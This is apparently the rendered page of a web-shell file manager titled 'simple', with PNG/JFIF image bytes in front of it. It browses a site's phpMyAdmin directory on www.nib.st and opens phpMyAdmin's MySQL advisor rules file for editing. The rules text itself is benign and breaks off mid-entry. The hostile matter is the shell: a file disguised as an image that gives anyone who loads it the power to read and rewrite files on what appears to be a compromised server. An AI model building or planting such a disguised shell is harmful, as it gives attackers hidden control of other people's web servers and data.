�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Flibraries%2F'>libraries</a>/</p><hr><h3>✏️ Editing: advisory_rules_generic.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

declare(strict_types=1);

return [
    // Queries
    [
        &#039;id&#039; =&gt; &#039;Uptime below one day&#039;,
        &#039;name&#039; =&gt; __(&#039;Uptime below one day&#039;),
        &#039;formula&#039; =&gt; &#039;Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 86400&#039;,
        &#039;issue&#039; =&gt; __(&#039;Uptime is less than 1 day, performance tuning may not be accurate.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;To have more accurate averages it is recommended to let the server run for&#039;
            . &#039; longer than a day before running this analyzer&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;The uptime is only %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_timespanFormat(Uptime)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Questions below 1,000&#039;,
        &#039;name&#039; =&gt; __(&#039;Questions below 1,000&#039;),
        &#039;formula&#039; =&gt; &#039;Questions&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 1000&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;Fewer than 1,000 questions have been run against this server.&#039;
            . &#039; The recommendations may not be accurate.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(
            &#039;Let the server run for a longer time until it has executed a greater amount of queries.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Current amount of Questions: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;Questions&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of slow queries&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of slow queries&#039;),
        &#039;precondition&#039; =&gt; &#039;Questions &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Slow_queries / Questions * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt;= 5&#039;,
        &#039;issue&#039; =&gt; __(&#039;There is a lot of slow queries compared to the overall amount of Queries.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You might want to increase {long_query_time}&#039;
            . &#039; or optimize the queries listed in the slow query log&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;The slow query rate should be below 5%%, your value is %s%%.&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Slow query rate&#039;,
        &#039;name&#039; =&gt; __(&#039;Slow query rate&#039;),
        &#039;precondition&#039; =&gt; &#039;Questions &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;(Slow_queries / Questions * 100) / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;There is a high percentage of slow queries compared to the server uptime.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You might want to increase {long_query_time}&#039;
            . &#039; or optimize the queries listed in the slow query log&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;You have a slow query rate of %s per hour, you should have less than 1%% per hour.&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Long query time&#039;,
        &#039;name&#039; =&gt; __(&#039;Long query time&#039;),
        &#039;formula&#039; =&gt; &#039;long_query_time&#039;,
        &#039;test&#039; =&gt; &#039;value &gt;= 10&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;{long_query_time} is set to 10 seconds or more,&#039;
            . &#039; thus only slow queries that take above 10 seconds are logged.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(
            &#039;It is suggested to set {long_query_time} to a lower value, depending on your environment.&#039;
            . &#039; Usually a value of 1-5 seconds is suggested.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;long_query_time is currently set to %ds.&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Slow query logging&#039;,
        &#039;name&#039; =&gt; __(&#039;Slow query logging&#039;),
        &#039;precondition&#039; =&gt; &#039;PMA_MYSQL_INT_VERSION &lt; 50600&#039;,
        &#039;formula&#039; =&gt; &#039;log_slow_queries&#039;,
        &#039;test&#039; =&gt; &#039;value == \&#039;OFF\&#039;&#039;,
        &#039;issue&#039; =&gt; __(&#039;The slow query log is disabled.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Enable slow query logging by setting {log_slow_queries} to \&#039;ON\&#039;.&#039;
            . &#039; This will help troubleshooting badly performing queries.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;log_slow_queries is set to \&#039;OFF\&#039;&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;Slow query logging&#039;,
        &#039;name&#039; =&gt; __(&#039;Slow query logging&#039;),
        &#039;precondition&#039; =&gt; &#039;PMA_MYSQL_INT_VERSION &gt;= 50600&#039;,
        &#039;formula&#039; =&gt; &#039;slow_query_log&#039;,
        &#039;test&#039; =&gt; &#039;value == \&#039;OFF\&#039;&#039;,
        &#039;issue&#039; =&gt; __(&#039;The slow query log is disabled.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Enable slow query logging by setting {slow_query_log} to \&#039;ON\&#039;.&#039;
            . &#039; This will help troubleshooting badly performing queries.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;slow_query_log is set to \&#039;OFF\&#039;&#039;),
    ],
    // Versions
    [
        &#039;id&#039; =&gt; &#039;Release Series&#039;,
        &#039;name&#039; =&gt; __(&#039;Release Series&#039;),
        &#039;formula&#039; =&gt; &#039;version&#039;,
        &#039;test&#039; =&gt; &#039;substr(value,0,2) &lt;= \&#039;5.\&#039; &amp;&amp; substr(value,2,1) &lt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;The MySQL server version less than 5.1.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You should upgrade, as MySQL 5.1 has improved performance, and MySQL 5.5 even more so.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Current version: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Minor Version&#039;,
        &#039;name&#039; =&gt; __(&#039;Minor Version&#039;),
        &#039;precondition&#039; =&gt; &#039;! fired(\&#039;Release Series\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;version&#039;,
        &#039;test&#039; =&gt; &#039;substr(value,0,2) &lt;= \&#039;5.\&#039; &amp;&amp; substr(value,2,1) &lt;= 1 &amp;&amp; substr(value,4,2) &lt; 30&#039;,
        &#039;issue&#039; =&gt; __(&#039;Version less than 5.1.30 (the first GA release of 5.1).&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You should upgrade, as recent versions of MySQL 5.1 have improved performance&#039;
            . &#039; and MySQL 5.5 even more so.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Current version: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Minor Version&#039;,
        &#039;name&#039; =&gt; __(&#039;Minor Version&#039;),
        &#039;precondition&#039; =&gt; &#039;! fired(\&#039;Release Series\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;version&#039;,
        &#039;test&#039; =&gt; &#039;substr(value,0,1) == 5 &amp;&amp; substr(value,2,1) == 5 &amp;&amp; substr(value,4,2) &lt; 8&#039;,
        &#039;issue&#039; =&gt; __(&#039;Version less than 5.5.8 (the first GA release of 5.5).&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;You should upgrade, to a stable version of MySQL 5.5.&#039;),
        &#039;justification&#039; =&gt; __(&#039;Current version: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;value&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Distribution&#039;,
        &#039;name&#039; =&gt; __(&#039;Distribution&#039;),
        &#039;formula&#039; =&gt; &#039;version_comment&#039;,
        &#039;test&#039; =&gt; &#039;preg_match(\&#039;/source/i\&#039;,value)&#039;,
        &#039;issue&#039; =&gt; __(&#039;Version is compiled from source, not a MySQL official binary.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;If you did not compile from source, you may be using a package modified by a distribution.&#039;
            . &#039; The MySQL manual only is accurate for official MySQL binaries,&#039;
            . &#039; not any package distributions (such as RedHat, Debian/Ubuntu etc).&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;\&#039;source\&#039; found in version_comment&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;Distribution&#039;,
        &#039;name&#039; =&gt; __(&#039;Distribution&#039;),
        &#039;formula&#039; =&gt; &#039;version_comment&#039;,
        &#039;test&#039; =&gt; &#039;preg_match(\&#039;/percona/i\&#039;,value)&#039;,
        &#039;issue&#039; =&gt; __(&#039;The MySQL manual only is accurate for official MySQL binaries.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Percona documentation is at &lt;a href=&quot;https://www.percona.com/software/documentation/&quot;&gt;&#039;
            . &#039;https://www.percona.com/software/documentation/&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;\&#039;percona\&#039; found in version_comment&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;MySQL Architecture&#039;,
        &#039;name&#039; =&gt; __(&#039;MySQL Architecture&#039;),
        &#039;formula&#039; =&gt; &#039;system_memory&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 3072*1024 &amp;&amp; !preg_match(\&#039;/64/\&#039;,version_compile_machine)&#039;
            . &#039; &amp;&amp; !preg_match(\&#039;/64/\&#039;,version_compile_os)&#039;,
        &#039;issue&#039; =&gt; __(&#039;MySQL is not compiled as a 64-bit package.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Your memory capacity is above 3 GiB (assuming the Server is on localhost),&#039;
            . &#039; so MySQL might not be able to access all of your memory.&#039;
            . &#039; You might want to consider installing the 64-bit version of MySQL.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Available memory on this host: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_formatByteDown(value*1024, 2, 2)&#039;,
    ],
    // Query cache
    [
        &#039;id&#039; =&gt; &#039;Query caching method&#039;,
        &#039;name&#039; =&gt; __(&#039;Query caching method&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;Questions / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 100&#039;,
        &#039;issue&#039; =&gt; __(&#039;Suboptimal caching method.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You are using the MySQL Query cache with a fairly high traffic database.&#039;
            . &#039; It might be worth considering to use &#039;
            . &#039;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.6/en/ha-memcached.html&quot;&gt;memcached&lt;/a&gt;&#039;
            . &#039; instead of the MySQL Query cache, especially if you have multiple slaves.&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;The query cache is enabled and the server receives %d queries per second.&#039;
            . &#039; This rule fires if there is more than 100 queries per second.&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    // Sorts
    [
        &#039;id&#039; =&gt; &#039;Percentage of sorts that cause temporary tables&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of sorts that cause temporary tables&#039;),
        &#039;precondition&#039; =&gt; &#039;Sort_scan + Sort_range &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Sort_merge_passes / (Sort_scan + Sort_range) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 10&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many sorts are causing temporary tables.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Consider increasing {sort_buffer_size} and/or {read_rnd_buffer_size},&#039;
            . &#039; depending on your system memory limits.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;%s%% of all sorts cause temporary tables, this value should be lower than 10%%.&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of sorts that cause temporary tables&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of sorts that cause temporary tables&#039;),
        &#039;formula&#039; =&gt; &#039;Sort_merge_passes / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many sorts are causing temporary tables.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Consider increasing {sort_buffer_size} and/or {read_rnd_buffer_size},&#039;
            . &#039; depending on your system memory limits.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Temporary tables average: %s, this value should be less than 1 per hour.&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Sort rows&#039;,
        &#039;name&#039; =&gt; __(&#039;Sort rows&#039;),
        &#039;formula&#039; =&gt; &#039;Sort_rows / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 &gt;= 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;There are lots of rows being sorted.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;While there is nothing wrong with a high amount of row sorting, you might want to&#039;
            . &#039; make sure that the queries which require a lot of sorting use indexed columns in&#039;
            . &#039; the ORDER BY clause, as this will result in much faster sorting.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Sorted rows average: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    // Joins, scans
    [
        &#039;id&#039; =&gt; &#039;Rate of joins without indexes&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of joins without indexes&#039;),
        &#039;formula&#039; =&gt; &#039;(Select_range_check + Select_scan + Select_full_join) / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;There are too many joins without indexes.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This means that joins are doing full table scans. Adding indexes for the columns being&#039;
            . &#039; used in the join conditions will greatly speed up table joins.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Table joins average: %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of reading first index entry&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of reading first index entry&#039;),
        &#039;formula&#039; =&gt; &#039;Handler_read_first / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;The rate of reading the first index entry is high.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This usually indicates frequent full index scans. Full index scans are faster than&#039;
            . &#039; table scans but require lots of CPU cycles in big tables, if those tables that have or&#039;
            . &#039; had high volumes of UPDATEs and DELETEs, running \&#039;OPTIMIZE TABLE\&#039; might reduce the&#039;
            . &#039; amount of and/or speed up full index scans. Other than that full index scans can&#039;
            . &#039; only be reduced by rewriting queries.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Index scans average: %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of reading fixed position&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of reading fixed position&#039;),
        &#039;formula&#039; =&gt; &#039;Handler_read_rnd / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;The rate of reading data from a fixed position is high.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This indicates that many queries need to sort results and/or do a full table scan,&#039;
            . &#039; including join queries that do not use indexes. Add indexes where applicable.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Rate of reading fixed position average: %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of reading next table row&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of reading next table row&#039;),
        &#039;formula&#039; =&gt; &#039;Handler_read_rnd_next / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;The rate of reading the next table row is high.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This indicates that many queries are doing full table scans. Add indexes where applicable.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Rate of reading next table row: %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    // Temp tables
    [
        &#039;id&#039; =&gt; &#039;Different tmp_table_size and max_heap_table_size&#039;,
        &#039;name&#039; =&gt; __(&#039;Different tmp_table_size and max_heap_table_size&#039;),
        &#039;formula&#039; =&gt; &#039;tmp_table_size - max_heap_table_size&#039;,
        &#039;test&#039; =&gt; &#039;value !=0&#039;,
        &#039;issue&#039; =&gt; __(&#039;{tmp_table_size} and {max_heap_table_size} are not the same.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;If you have deliberately changed one of either: The server uses the lower value of either&#039;
            . &#039; to determine the maximum size of in-memory tables. So if you wish to increase the&#039;
            . &#039; in-memory table limit you will have to increase the other value as well.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Current values are tmp_table_size: %s, max_heap_table_size: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_formatByteDown(tmp_table_size, 2, 2),&#039;
            . &#039; ADVISOR_formatByteDown(max_heap_table_size, 2, 2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of temp tables on disk&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of temp tables on disk&#039;),
        &#039;precondition&#039; =&gt; &#039;Created_tmp_tables + Created_tmp_disk_tables &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Created_tmp_disk_tables / (Created_tmp_tables + Created_tmp_disk_tables) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 25&#039;,
        &#039;issue&#039; =&gt; __(&#039;Many temporary tables are being written to disk instead of being kept in memory.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Increasing {max_heap_table_size} and {tmp_table_size} might help. However some&#039;
            . &#039; temporary tables are always being written to disk, independent of the value of these variables.&#039;
            . &#039; To eliminate these you will have to rewrite your queries to avoid those conditions&#039;
            . &#039; (Within a temporary table: Presence of a BLOB or TEXT column or presence of a column&#039;
            . &#039; bigger than 512 bytes) as mentioned in the beginning of an &lt;a href=&quot;&#039;
            . &#039;https://www.facebook.com/note.php?note_id=10150111255065841&amp;comments&#039;
            . &#039;&quot;&gt;Article by the Pythian Group&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;%s%% of all temporary tables are being written to disk, this value should be below 25%%&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Temp disk rate&#039;,
        &#039;name&#039; =&gt; __(&#039;Temp disk rate&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Percentage of temp tables on disk\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;Created_tmp_disk_tables / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Many temporary tables are being written to disk instead of being kept in memory.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Increasing {max_heap_table_size} and {tmp_table_size} might help. However some&#039;
            . &#039; temporary tables are always being written to disk, independent of the value of these variables.&#039;
            . &#039; To eliminate these you will have to rewrite your queries to avoid those conditions&#039;
            . &#039; (Within a temporary table: Presence of a BLOB or TEXT column or presence of a column&#039;
            . &#039; bigger than 512 bytes) as mentioned in the &lt;a href=&quot;&#039;
            . &#039;https://dev.mysql.com/doc/refman/8.0/en/internal-temporary-tables.html&#039;
            . &#039;&quot;&gt;MySQL Documentation&lt;/a&gt;&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;Rate of temporary tables being written to disk: %s, this value should be less than 1 per hour&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    // MyISAM index cache
    [
        &#039;id&#039; =&gt; &#039;MyISAM key buffer size&#039;,
        &#039;name&#039; =&gt; __(&#039;MyISAM key buffer size&#039;),
        &#039;formula&#039; =&gt; &#039;key_buffer_size&#039;,
        &#039;test&#039; =&gt; &#039;value == 0&#039;,
        &#039;issue&#039; =&gt; __(&#039;Key buffer is not initialized. No MyISAM indexes will be cached.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Set {key_buffer_size} depending on the size of your MyISAM indexes. 64M is a good start.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;key_buffer_size is 0&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;Max % MyISAM key buffer ever used&#039;,
        /* xgettext:no-php-format */
        &#039;name&#039; =&gt; __(&#039;Max % MyISAM key buffer ever used&#039;),
        &#039;precondition&#039; =&gt; &#039;key_buffer_size &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Key_blocks_used * key_cache_block_size / key_buffer_size * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 95&#039;,
        /* xgettext:no-php-format */
        &#039;issue&#039; =&gt; __(&#039;MyISAM key buffer (index cache) % used is low.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You may need to decrease the size of {key_buffer_size}, re-examine your tables to see&#039;
            . &#039; if indexes have been removed, or examine queries and expectations&#039;
            . &#039; about what indexes are being used.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;max %% MyISAM key buffer ever used: %s%%, this value should be above 95%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of MyISAM key buffer used&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of MyISAM key buffer used&#039;),
        // Don&#039;t fire if above rule fired - we don&#039;t need the same advice twice
        &#039;precondition&#039; =&gt; &#039;key_buffer_size &gt; 0 &amp;&amp; !fired(\&#039;Max % MyISAM key buffer ever used\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;( 1 - Key_blocks_unused * key_cache_block_size / key_buffer_size) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 95&#039;,
        /* xgettext:no-php-format */
        &#039;issue&#039; =&gt; __(&#039;MyISAM key buffer (index cache) % used is low.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You may need to decrease the size of {key_buffer_size}, re-examine your tables to see&#039;
            . &#039; if indexes have been removed, or examine queries and expectations&#039;
            . &#039; about what indexes are being used.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;%% MyISAM key buffer used: %s%%, this value should be above 95%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of index reads from memory&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of index reads from memory&#039;),
        &#039;precondition&#039; =&gt; &#039;Key_read_requests &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;100 - (Key_reads / Key_read_requests * 100)&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 95&#039;,
        /* xgettext:no-php-format */
        &#039;issue&#039; =&gt; __(&#039;The % of indexes that use the MyISAM key buffer is low.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;You may need to increase {key_buffer_size}.&#039;),
        &#039;justification&#039; =&gt; __(&#039;Index reads from memory: %s%%, this value should be above 95%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    // Other caches
    [
        &#039;id&#039; =&gt; &#039;Rate of table open&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of table open&#039;),
        &#039;formula&#039; =&gt; &#039;Opened_tables / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value*60*60 &gt; 10&#039;,
        &#039;issue&#039; =&gt; __(&#039;The rate of opening tables is high.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Opening tables requires disk I/O which is costly.&#039;
            . &#039; Increasing {table_open_cache} might avoid this.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Opened table rate: %s, this value should be less than 10 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Percentage of used open files limit&#039;,
        &#039;name&#039; =&gt; __(&#039;Percentage of used open files limit&#039;),
        &#039;formula&#039; =&gt; &#039;Open_files / open_files_limit * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 85&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;The number of open files is approaching the max number of open files.&#039;
            . &#039; You may get a &quot;Too many open files&quot; error.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(
            &#039;Consider increasing {open_files_limit}, and check the error log when&#039;
            . &#039; restarting after changing {open_files_limit}.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;The number of opened files is at %s%% of the limit. It should be below 85%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Rate of open files&#039;,
        &#039;name&#039; =&gt; __(&#039;Rate of open files&#039;),
        &#039;formula&#039; =&gt; &#039;Open_files / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 5&#039;,
        &#039;issue&#039; =&gt; __(&#039;The rate of opening files is high.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Consider increasing {open_files_limit}, and check the error log when&#039;
            . &#039; restarting after changing {open_files_limit}.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Opened files rate: %s, this value should be less than 5 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Immediate table locks %&#039;,
        /* xgettext:no-php-format */
        &#039;name&#039; =&gt; __(&#039;Immediate table locks %&#039;),
        &#039;precondition&#039; =&gt; &#039;Table_locks_waited + Table_locks_immediate &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;Table_locks_immediate / (Table_locks_waited + Table_locks_immediate) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 95&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many table locks were not granted immediately.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;Optimize queries and/or use InnoDB to reduce lock wait.&#039;),
        &#039;justification&#039; =&gt; __(&#039;Immediate table locks: %s%%, this value should be above 95%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Table lock wait rate&#039;,
        &#039;name&#039; =&gt; __(&#039;Table lock wait rate&#039;),
        &#039;formula&#039; =&gt; &#039;Table_locks_waited / Uptime&#039;,
        &#039;test&#039; =&gt; &#039;value * 60 * 60 &gt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Too many table locks were not granted immediately.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;Optimize queries and/or use InnoDB to reduce lock wait.&#039;),
        &#039;justification&#039; =&gt; __(&#039;Table lock wait rate: %s, this value should be less than 1 per hour&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_bytime(value,2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Thread cache&#039;,
        &#039;name&#039; =&gt; __(&#039;Thread cache&#039;),
        &#039;formula&#039; =&gt; &#039;thread_cache_size&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Thread cache is disabled, resulting in more overhead from new connections to MySQL.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;Enable the thread cache by setting {thread_cache_size} &gt; 0.&#039;),
        &#039;justification&#039; =&gt; __(&#039;The thread cache is set to 0&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;Thread cache hit rate %&#039;,
        /* xgettext:no-php-format */
        &#039;name&#039; =&gt; __(&#039;Thread cache hit rate %&#039;),
        &#039;precondition&#039; =&gt; &#039;thread_cache_size &gt; 0&#039;,
        &#039;formula&#039; =&gt; &#039;100 - Threads_created / Connections&#039;,
